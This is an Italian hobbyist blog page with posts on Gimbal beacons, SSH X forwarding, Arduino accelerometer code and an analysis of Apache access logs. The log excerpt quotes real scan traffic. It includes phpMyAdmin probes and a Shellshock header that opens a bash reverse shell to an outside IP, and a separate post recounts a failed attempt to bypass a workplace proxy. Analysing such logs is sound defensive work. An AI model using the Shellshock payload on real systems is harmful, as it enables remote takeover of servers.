venerdì 31 ottobre 2014

Gimbal beacons

Aggiornamento
Con alcune app i beacon Gimbal sono visibili ma cambiano continuamente MAC Address per cui la lista continua ad aggiornarsi scoprendo sempre nuovi beacon (in realta' e' sempre il solito che aggiorna il proprio identificativo di basso livello)
Cio' comporta problemi su Android. Secondo quanto riportato da questo post di Radius Network (una ditta concorrente) dopo circa 40 minuti di utilizzo una applicazione Android va in crash a causa del numero limitato della lista di MAC Address che Android riesce a gestire

----------------------------------------

Grazie ad una simpatica iniziativa per gli sviluppatori (spediscono un kit gratuito anche all'estero...nonostante che sia indicato solo per gli USA) sono entrato in possesso di tre beacons Gimbal ovvero Qualcomm


Rispetto agli altri beacon testati basati sul TI CC2540 questi sono basati su processori proprietari della Qualcomm e sono decisamente molto meglio ingegnerizzati e miniturizzati (lo spazio e' quasi totalmente occupato dalla batteria CR2032)

Una prima differenza rispetto agli altri beacon testati e' che questi non vengono segnalati dai programmi basati sul uuid-major-minor. In pratica ogni beacon ha un proprio codice (4 caratteri - 5 caratteri) che deve essere comunicato a Gimbal per l'attivazione; in seguito i beacon solo visibili medianti le applicazione sviluppate con l'SDK di Gimbal (IOS e Android-Beta) ma non con altri software

Con il beacon posto vicino al telefono l'RSSI e' di -40, portandolo a circa ad oltre 3 m scende circa -80. Riportando velocemente in grafico


Il segnale risulta molto stabile (prova effettuata ad un 1 metro di distanza tra beacon ed IPhone) con una standard deviation del valore di RSSI di circa 0.6 unita'


Su Android le cose sono leggermente differenti con un valore di standard deviation di 1.2 unita'. Non male vista la precedente esperienza con i Texas Instruments





ShellShock et alii

Ancora un po' di curiosita sui log di un server Apache 2

ci sono chiaramente dei tentativi mediante script automatici che cercano vulnerabilita' legate a PhpMyAdmin (in giallo) ed un attacco basato su shellshock (in rosso) nella speranza di trovare installato CPanel

Curiose invece le righe in verde in cui vengono effettuate richieste a servizi come proxyjudge che verificano lo stato dei proxy server (forse un modo per verificare se la macchina e' all'interno di un proxy???)

comunque come si vede le risposte del server sono della categoria 400 quindi il file non e' stato trovato

Interessante anche la riga in azzurro in cui viene fatta una richiesta che non risulta essere nel protocollo http

Per finire le nazionalita' dell'origine degli attacchi: in alcuni casi e' Taiwan, in altri Thailandia,

08.61.218.252 - - [29/Oct/2014:22:48:18 +0000] "GET /ujuj/uju/uj.php HTTP/1.1" 404 470 "-" "-"
108.61.218.252 - - [29/Oct/2014:22:48:18 +0000] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 483 "-" "-"
108.61.218.252 - - [29/Oct/2014:22:48:19 +0000] "GET /pma/scripts/setup.php HTTP/1.1" 404 476 "-" "-"
108.61.218.252 - - [29/Oct/2014:22:48:19 +0000] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 480 "-" "-"
207.240.10.33 - - [29/Oct/2014:23:29:50 +0000] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 487 "-" "() { ignored;};/bin/bash -i >& /dev/tcp/207.240.10.1/8888 0>&1"
85.25.72.86 - - [29/Oct/2014:23:30:56 +0000] "GET /w00tw00t.at.ISC.SANS.DFind:) HTTP/1.1" 400 0 "-" "-"
125.64.35.67 - - [30/Oct/2014:00:03:13 +0000] "GET http://6.url.cn/zc/chs/img/body.png HTTP/1.1" 404 450 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.3; Trident/7.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.3072; .NET CLR 2.0.50727; .NET CLR 3.0.30729; Tablet PC 2.0)"
61.58.204.97 - - [30/Oct/2014:00:42:07 +0000] "GET /hghg/hgh/hg.php HTTP/1.1" 404 470 "-" "-"
61.58.204.97 - - [30/Oct/2014:00:42:08 +0000] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 483 "-" "-"
61.58.204.97 - - [30/Oct/2014:00:42:09 +0000] "GET /pma/scripts/setup.php HTTP/1.1" 404 476 "-" "-"
61.58.204.97 - - [30/Oct/2014:00:42:10 +0000] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 480 "-" "-"
118.174.140.130 - - [30/Oct/2014:00:55:50 +0000] "GET /kkkk/kkk/kk.php HTTP/1.1" 404 470 "-" "-"
118.174.140.130 - - [30/Oct/2014:00:55:51 +0000] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 483 "-" "-"
118.174.140.130 - - [30/Oct/2014:00:55:52 +0000] "GET /pma/scripts/setup.php HTTP/1.1" 404 476 "-" "-"
118.174.140.130 - - [30/Oct/2014:00:55:52 +0000] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 480 "-" "-"
1.164.41.53 - - [30/Oct/2014:01:45:02 +0000] "CONNECT mx0.mail2000.com.tw:25 HTTP/1.0" 405 537 "-" "-"
108.61.207.146 - - [30/Oct/2014:04:44:29 +0000] "GET /asas/asa/as.php HTTP/1.1" 404 470 "-" "-"
108.61.207.146 - - [30/Oct/2014:04:44:30 +0000] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 483 "-" "-"
108.61.207.146 - - [30/Oct/2014:04:44:30 +0000] "GET /pma/scripts/setup.php HTTP/1.1" 404 476 "-" "-"
108.61.207.146 - - [30/Oct/2014:04:44:30 +0000] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 480 "-" "-"
64.4.97.21 - - [30/Oct/2014:06:37:26 +0000] "GET /tmUnblock.cgi HTTP/1.1" 400 0 "-" "-"

218.59.238.93 - - [30/Oct/2014:11:01:52 +0000] "GET http://www.anonymousproxylist.net/azenv2.php HTTP/1.0" 404 478 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
218.59.238.93 - - [30/Oct/2014:11:02:14 +0000] "GET http://www.anonymousproxylist.net/azenv2.php HTTP/1.0" 404 478 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"


124.122.165.64 - - [30/Oct/2014:08:53:09 +0000] "GET /vyvy/vyv/vy.php HTTP/1.1" 404 470 "-" "-"
124.122.165.64 - - [30/Oct/2014:08:53:10 +0000] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 483 "-" "-"
124.122.165.64 - - [30/Oct/2014:08:53:11 +0000] "GET /pma/scripts/setup.php HTTP/1.1" 404 476 "-" "-"
124.122.165.64 - - [30/Oct/2014:08:53:12 +0000] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 480 "-" "-"

218.59.238.93 - - [29/Oct/2014:16:19:29 +0000] "GET http://sonke31.free.fr/world.php HTTP/1.0" 404 466 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
218.59.238.93 - - [29/Oct/2014:16:19:44 +0000] "GET http://proxyjudge.us/ HTTP/1.0" 200 11783 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"


218.59.238.93 - - [29/Oct/2014:10:07:33 +0000] "GET http://www.proxyjudge.biz/az.php HTTP/1.0" 404 466 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
218.59.238.93 - - [29/Oct/2014:10:39:54 +0000] "GET http://www.anonymousproxylist.net/azenv2.php HTTP/1.0" 404 478 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
218.59.238.93 - - [29/Oct/2014:11:12:40 +0000] "GET http://sonke31.free.fr/world.php HTTP/1.0" 404 466 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
218.59.238.93 - - [29/Oct/2014:11:13:49 +0000] "GET http://www.anonymousproxylist.net/azenv2.php HTTP/1.0" 404 478 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"

221.165.35.130 - - [27/Oct/2014:23:25:57 +0000] "GET / HTTP/1.1" 200 11820 "-" "-"
65.99.238.246 - - [27/Oct/2014:23:43:43 +0000] "GET / HTTP/1.0" 200 11783 "-" "-"
218.59.238.93 - - [27/Oct/2014:23:46:01 +0000] "GET http://www.anonymousproxylist.net/azenv2.php HTTP/1.0" 404 478 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
218.59.238.93 - - [28/Oct/2014:00:48:51 +0000] "GET http://yazoodle.net/azenv.php HTTP/1.0" 404 463 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
218.59.238.93 - - [28/Oct/2014:00:57:38 +0000] "GET http://proxyjudge.us/ HTTP/1.0" 200 11783 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
61.19.199.74 - - [28/Oct/2014:01:05:10 +0000] "GET /zyzy/zyz/zy.php HTTP/1.1" 404 470 "-" "-"
61.19.199.74 - - [28/Oct/2014:01:05:10 +0000] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 483 "-" "-"
61.19.199.74 - - [28/Oct/2014:01:05:11 +0000] "GET /pma/scripts/setup.php HTTP/1.1" 404 476 "-" "-"
61.19.199.74 - - [28/Oct/2014:01:05:11 +0000] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 480 "-" "-"
218.59.238.93 - - [28/Oct/2014:01:36:04 +0000] "GET http://proxyjudge.us/ HTTP/1.0" 200 11783 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
218.59.238.93 - - [28/Oct/2014:01:49:47 +0000] "GET http://www.mesregies.com/azz.php HTTP/1.0" 404 466 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
218.59.238.93 - - [28/Oct/2014:02:50:52 +0000] "GET http://www.proxyjudge.biz/az.php HTTP/1.0" 404 466 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
218.59.238.93 - - [28/Oct/2014:03:51:04 +0000] "GET http://sonke31.free.fr/world.php HTTP/1.0" 404 466 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"

giovedì 30 ottobre 2014

Evadere da un proxy server

Per motivi di lavoro passo molto tempo dietro un http proxy server. La macchina di frontiera filtra tutto il traffico lasciando aperte solo la porta 80 e 443 effettuando anche content filtering (basato piu' che altro su una lista di domini ammessi/non ammessi senza entrare a leggere il contenuto vero e proprio dei pacchetti)

Visto che qualche volta (qualche spesso...) mi devo collegare in SSH a macchine esterne e non volendo sempre usare la connessione cellulare ho provato a forzare il blocco

La tecnica prevista consisteva nel predisporre una macchina esterna con ip statico e pubblico con il server SSH in ascolto non sulla porta standard 22 ma sulla 80 in modo da poter attraversare il proxy ed una volta all'esterno rimandare poi sulle macchine di interesse.

Dopo una mezza giornata di tentativi ho desistito. Il proxy server intercetta tutte le chiamate negando l'accesso all'esterno sia usando Putty su Windows che ssh da shell su Linux e Mac. A questo punto mi sono reso conto che la macchina di frontiera non fa solo il controllo sull'intestazione dei pacchetti ma anche all'interno degli stessi (non ho ben chiaro come fa ma di fatto lo fa). Sono quindi ancora prigioniero del proxy
I miei complimenti all'amministratore del sistema centrale (che poi mi deve spiegare perche' nega le connessioni ssh e poi permette il traffico su tutta una serie di siti quali Facebook, Youtube e compagnia dicendo)

venerdì 24 ottobre 2014

Bluetooth LE su MacBook Late 2009

Con il nuovo OsX prende ancora piu' importanza nel mondo Mac la presenza di Bluetooth 4

Avendo un MacBook Pro Late 2009 non e' montato di serie un chip Bluetooth LE.
Ho provato quindi a recuperare il dongle gia' usato per Linux visto sul precedente post


Con sorpresa il chip Broadcom BCM20702 viene riconosciuto da MacOs X 10.9.5 senza problemi.
Per rendere operativo il dongle si puo' usare il programma BeaconScanner (link) per registrare la presenza di beacon nelle vicinanze al portatile ed il programma BeaconOsX (link) per trasformare il MacBook in un beacon

mercoledì 22 ottobre 2014

L'importanza di una batteria

Le due batterie sono state montate nello stesso momento su due dispositivi gemelli che hanno lavorato insieme per tutto il tempo


Improvvisamente uno dei due dispositivi smette di trasmettere ed ovviamente escludo il problema di alimentazione perche' il telecontrollo del secondo dispositivo mostra un livello dell'accumulatore al 70%
Ovviamente dopo un'ora di prove ho preso il tester ed ho verificato che la batteria era vuota (<0.3 V)

Cosa ho imparato:
1) non comprare batterie sottocosto cinesi (vedi scritte sulle batteria nella foto, ovviamente quella funzionante e' a sinistra). Cio' che costa poco spesso dura poco
2) partire a risolvere i problemi dalle cose semplici (ricordo un manuale Ibm di un Desktop anni 90 che iniziava del tipo Il computer non si accende. Avete collegato il cavo della corrente??...non era un suggerimento stupido)

martedì 21 ottobre 2014

SSH ed XForwading

Normalmente SSH viene usata per l'amministrazione remota a livello di shell
E' possibile instradare anche una connessione criptata del server X mediante SSH

per avviare lato client l'XForwarding e' sufficiente aggiungere lo switch -X

da una macchina Linux e' possibile scrivere
ssh -X luca@xxx.xxx.xxx.xxx

una volta effettuato il login ci si trova in shell senza che apparentemente ci sia stato un effetto dello switch -X. Se pero' si lancia un applicativo X (tipo gedit) si vedra' comparire lato client la finestra di Gedit...da notare bene che questa applicazione sta girando sul server remoto per cui gli eventuali file saranno salvati sul disco fisso remoto
Se invece di un applicativo si vuole interagire con tutto il desktop e' sufficiente digitare
gnome-session
per aprire (per esempio) il desktop di Gnome

Una sessione X remota su Mac Os X

Un aspetto curioso e' che quanto descritto funziona anche su Mac OS X  a patto di avere installato il pacchetto X11

Gedit in sessione remota su Mac Os X

Gedit in sessione remota su Mac Os X (da notare che il salvataggio e' sul disco del server remoto)

Quanto descritto e' stato testato, senza modifiche al demone del server ssh, sia su Ubuntu 14.04 che su Debian 7

lis3lv02dq ed Arduino

A seguito del precedente post, ho provato l'accelerometro triassiale LIS3LV02DQ (scheda tecnica)
A differenza del modello ADXL335 questo integrato si collega ad Arduino mediante un bus I2C con i due pin SDA ed SCL rispettivamente ai pin A04 ed A05 di Arduino UNo



Schema in Fritzing (la pedinatura dell'accelerometro risulta differente da quella che ho usato io perche' in questo caso il sensore non e' montato su una basetta)


Come nel caso precedente ci sono un po' di indicazioni contrastanti sul tipo di alimentazione. La scheda tecnica riporta una tensione di Vcc di 3.6 V per cui, per sicurezza, ho alimentato mediante il pin 3V3 di Arduino

Lo sketch per Arduino e' stato copiato da Internet effettuando piccole modifiche (nell'originale erano usate dei metodi della libreria Wire che sono obsoleti)
------------------------------------------------------------------------------------
#include <Wire.h>

// TWI (I2C) sketch to communicate with the LIS3LV02DQ accelerometer

//Modified code from http://research.techkwondo.com/blog/julian/279
//Thanks Julian.

// Using the Wire library (created by Nicholas Zambetti)
// http://wiring.org.co/reference/libraries/Wire/index.html
// On the Arduino board, Analog In 4 is SDA, Analog In 5 is SCL
// These correspond to pin 27 (PC4/ADC4/SDA) and pin 28 (PC5/ADC5/SCL) on the Atmega8
// The Wire class handles the TWI transactions, abstracting the nitty-gritty to make
// prototyping easy.

void setup()

{

 Wire.begin(); // join i2c bus (address optional for master)
 Serial.begin(9600);
 Wire.beginTransmission(0x1D);
 Wire.write(0x20); // CTRL_REG1 (20h)
 Wire.write(0x87); // Device on, 40hz, normal mode, all axis's enabled
 Wire.endTransmission();
}

void loop()
{
#define i2cID 0x1D
#define outXhigh 0x29
#define outYhigh 0x2B
#define outZhigh 0x2D
#define outXlow 0x28
#define outYlow 0x2A
#define outZlow 0x2C

byte z_val_l, z_val_h, y_val_l, y_val_h, x_val_l, x_val_h;

//----------X Values-----------------------
 int x_val;

//-------------------------------
 Wire.beginTransmission(i2cID);
 Wire.write(outXlow);
 Wire.endTransmission(); 
Wire.requestFrom(i2cID, 1);
while(Wire.available())
{
  x_val_l = Wire.read();
}
//------------------------------- 
 Wire.beginTransmission(i2cID);
 Wire.write(outXhigh);
 Wire.endTransmission();
  
Wire.requestFrom(i2cID, 1);
if(Wire.available())
{
  x_val_h = Wire.read();
}
//------------------------------- 
x_val = x_val_h;
x_val <<= 8;
x_val += x_val_l;
//----------Y Values-----------------------
 int y_val;

//-------------------------------
 Wire.beginTransmission(i2cID);
 Wire.write(outYlow);
 Wire.endTransmission(); 
Wire.requestFrom(i2cID, 1);
while(Wire.available())
{
  y_val_l = Wire.read();
}
//------------------------------- 
 Wire.beginTransmission(i2cID);
 Wire.write(outYhigh);
 Wire.endTransmission();
  
Wire.requestFrom(i2cID, 1);
if(Wire.available())
{
  y_val_h = Wire.read();
}
//------------------------------- 


y_val = y_val_h;
y_val <<= 8;
y_val += y_val_l;


//----------Z Values-----------------------
 int z_val;

//-------------------------------
 Wire.beginTransmission(i2cID);
 Wire.write(outZlow);
 Wire.endTransmission(); 
Wire.requestFrom(i2cID, 1);
while(Wire.available())
{
  z_val_l = Wire.read();
}
//------------------------------- 
 Wire.beginTransmission(i2cID);
 Wire.write(outZhigh);
 Wire.endTransmission();
  
Wire.requestFrom(i2cID, 1);
if(Wire.available())
{
  z_val_h = Wire.read();
}
//------------------------------- 


z_val = z_val_h;
z_val <<= 8;
z_val += z_val_l;

Serial.print(x_val, DEC);
Serial.print(";"); 
Serial.print(y_val, DEC);
Serial.print(";"); 
Serial.println(z_val, DEC);

delay(1);

}
------------------------------------------------------------------------------------


In condizioni statiche il sensore sembra essere decisamente stabile

asse X : 27u +/- 0u
asse Y : -11u +/- 0u
asse Z : 1037 +/- 0.4u

il passo di campionamento nel tempo (calcolato usando lo script del post precedente) e' stato di 13.5+/-1.9 ms 

Picchiettando sul tavolo (o meglio da sotto il tavolo, dal basso verso l'alto) e lateralmente si osserva la risposta del sensore


Opencv camera calibration in cpp

Oltre che con uno script Python come visto qui la calibrazione della camera si puo' fare anche con il programma in CPP Questo il proce...